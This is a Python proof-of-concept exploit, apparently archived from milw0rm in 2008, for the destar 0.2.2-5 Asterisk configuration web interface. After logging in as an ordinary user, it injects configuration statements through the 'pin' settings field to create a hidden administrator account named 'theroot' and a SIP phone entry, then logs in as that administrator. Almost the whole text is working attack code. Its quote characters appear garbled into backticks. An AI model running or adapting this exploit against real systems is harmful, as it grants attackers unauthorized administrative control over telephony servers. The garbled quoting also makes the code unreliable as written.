destar 0.2.2-5 Arbitrary Add Admin User Exploit#
#!/usr/bin/python
#
# Exploit for destar 0.2.2-5, tested on Linux Debian
#
# Bug found and  exploit coded by a non root user
# http://nonroot.blogspot.com/
#
# Enero 2008
#
# This is a PoC, please use it just for learning how to exploit something
#
# use: $python ./exploit_code.py
#
# required: urllib, sys and re
#
import urllib
import sys,re
print `Target host: i.e: http://127.0.0.1:8080/`
host=raw_input(`Target host ( include http and /): `)
user=raw_input(`A normal user for destar:`)
password=raw_input(`A normal password for destar:`)
null=``
print `trying ...`
loggin = urllib.urlencode({'name': user, 'pw': password})
attack = urllib.urlencode({'cfim': null, 'cfbs': null, 'cfto': null, 'dsec' : '45', 'vmim' : 'yes','vmbs' : 'yes', 'vmu' : 'yes', 'pin' : '1234,) ; CfgOptUser(name=`theroot`,secret=`theroot`,pc=`200.75.43.187`,phone=`agent1`,pbx=`pbx1`,level=`4`,language=`en`,) ; CfgPhoneSip(pbx=`pbx1000`,name=`OpenBSD-Agent`,secret=`imsecure`,ext= `2999`,dtmfmode = `rfc2833`,enablecallgroup = True,callgroup = `1`,queues=`queue1`,panel= True' })
response= urllib.urlopen(host+`login/`, loggin)
data=response.read()
lookup=re.compile(`'User'`).search
match=lookup(data)
if match:
	print user,`logged, now trying exploit`
else:
	print `Password invalid, try again.`
	sys.exit(2)

response= urllib.urlopen(host+`user/settings/`, attack)

if response:
	print `ok, attack was done, now i will try loggin like 'theroot'`
	user='theroot'
	password='theroot'
	loggin = urllib.urlencode({'name': user, 'pw': password})
	response= urllib.urlopen(host+`login/`, loggin)
	data=response.read()
	lookup=re.compile(`'Programmer'`).search
	match=lookup(data)
	if  match:
        	print `Exploit ok. try: `,host+`/user/info`
	else:
		print `Exploit failed, sorry, maybe you need that the sysadmin restart destar, be patient!`
		sys.exit(2)
else:
	print `Exploit failed, sorry, go and find some new bug or check this code and fix it!`
	sys.exit(2)

# milw0rm.com [2008-03-24]